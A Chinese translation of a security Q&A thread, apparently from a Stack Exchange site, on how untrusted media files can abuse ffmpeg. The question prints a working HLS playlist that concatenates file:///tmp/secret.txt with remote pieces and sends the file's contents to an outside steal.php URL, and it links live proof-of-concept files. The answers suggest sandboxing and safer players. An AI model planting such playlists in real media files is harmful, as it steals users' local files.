如何处理来自不受信任来源的媒体文件?

信息安全 脆弱性 网址
2021-08-25 23:40:46

多年来,我一直是基于 ffmpeg 的播放器和编码器的重度用户,尽管我听说过许多安全问题,但我始终认为保持最新状态就足够安全了。但是,我刚刚看到一篇文章(俄语),它解释了如何在不依赖任何错误的情况下滥用 ffmpeg。

对于勇敢者:

创建一个/tmp/secret.txt包含密码的文件(重要:末尾没有换行符)。现在播放这个看起来很无辜的视频: http : //dimag0g.hd.free.fr/ffmpeg/steal_secret.avi 使用基于 ffmpeg 或 libav 的播放器(我在 Debian 上测试了 SMPlayer 14.9.0)。你的密语出现在视频中了吗?

Windows 用户可以尝试http://dimag0g.hd.free.fr/ffmpeg/steal_secret_win.avi尝试窃取c:\secret.txt,虽然我没有测试它。

怎么运行的:

steal_secret.avi实际上是一个HTTP Live 流文件,如下所示:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://dimag0g.hd.free.fr/ffmpeg/head.m3u8|file:///tmp/secret.txt|http://dimag0g.hd.free.fr/ffmpeg/tail.m3u8
#EXT-X-ENDLIST

它指示 SMPlayer 连接三个文件:页眉secret.txt和页脚。再次连接的结果是一个 HLS 文件,如下所示:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://dimag0g.hd.free.fr/ffmpeg/steal.php?secret=your_secret_word&.txt
#EXT-X-ENDLIST

这一次, 的内容作为 URL 参数secret.txt发送到。steal.php就我而言,steal.php只需打印your secret is <your_secret_word>1000 次,它就会显示在视频中。真正的攻击者可以保存秘密并向用户显示无辜的剪辑,而不会引起怀疑。

请注意,此技巧不依赖于错误,它使用受支持的格式和有用的连接功能。而且通常您甚至不必单击文件:您的文件管理器将在其上运行 ffmpeg 以生成缩略图。

该怎么办?

除了小心处理不受信任的文件和永远不要以 root 身份运行 GUI 的明显建议之外,还可以做些什么来最大程度地降低风险?具体来说,打开此类文件时应该使用什么媒体播放器?到目前为止,我的示例仅适用于支持 HLS 的 mplayer 和 SMPlayer,concat但我想知道是否可以以类似的方式利用其他支持 HLS 的媒体播放器。

2个回答

事实上,FFmpeg 等存在许多漏洞,其中许多漏洞是由谷歌的研究人员通过模糊测试技术发现的。更新您的播放器、编码器和编解码器是尽可能实现安全系统的必要条件。

如果您必须处理来自不受信任来源的(媒体)文件,我可能会建议在“虚拟容器”中处理它们。查看一些提供免费版本的解决方案,例如 VMware 或 VirtualBox。

我是一名安全研究员,我的团队依赖这种方法处理所有关键文件类型(媒体、文档、可执行文件等)。它对舒适度和性能有一些负面影响,通常只是轻微的影响。但有时这是您必须为安全性付出的代价。

鉴于当今编解码器和播放器的数量,确实可能会发生不好的事情。

关于“做什么?” 我找到了一个非常简单的解决方案:我使用自己的图像查看器和电影播放器​​,它不会像您的示例中那样解释数据。尽管对于图像,它几乎支持每一种发明的格式,但对于视频,编解码器存在问题:太多版本中的太多。

尽管官方格式可以正常工作,但一些新的怪异代码却不行。但是鉴于我在 1000 例中的​​ 1 例中得到了这样的文件,我认为将它们转换为受保护模式没有问题。

不依赖操作系统文件或安全性来查看图像和播放电影有很多优点......从 Windows 之类的东西开始,不会在任何地方产生其 thumbs.db(因为我从不使用资源管理器或 MP)到 linux 安全问题和编解码器可能附带的漏洞,主要是非流数据解释。

对于视频部分,您应该找到一个能够按原样播放流的播放器,并且可能会忽略所有垃圾邮件/元信息。像这样使用它会让你非常安全。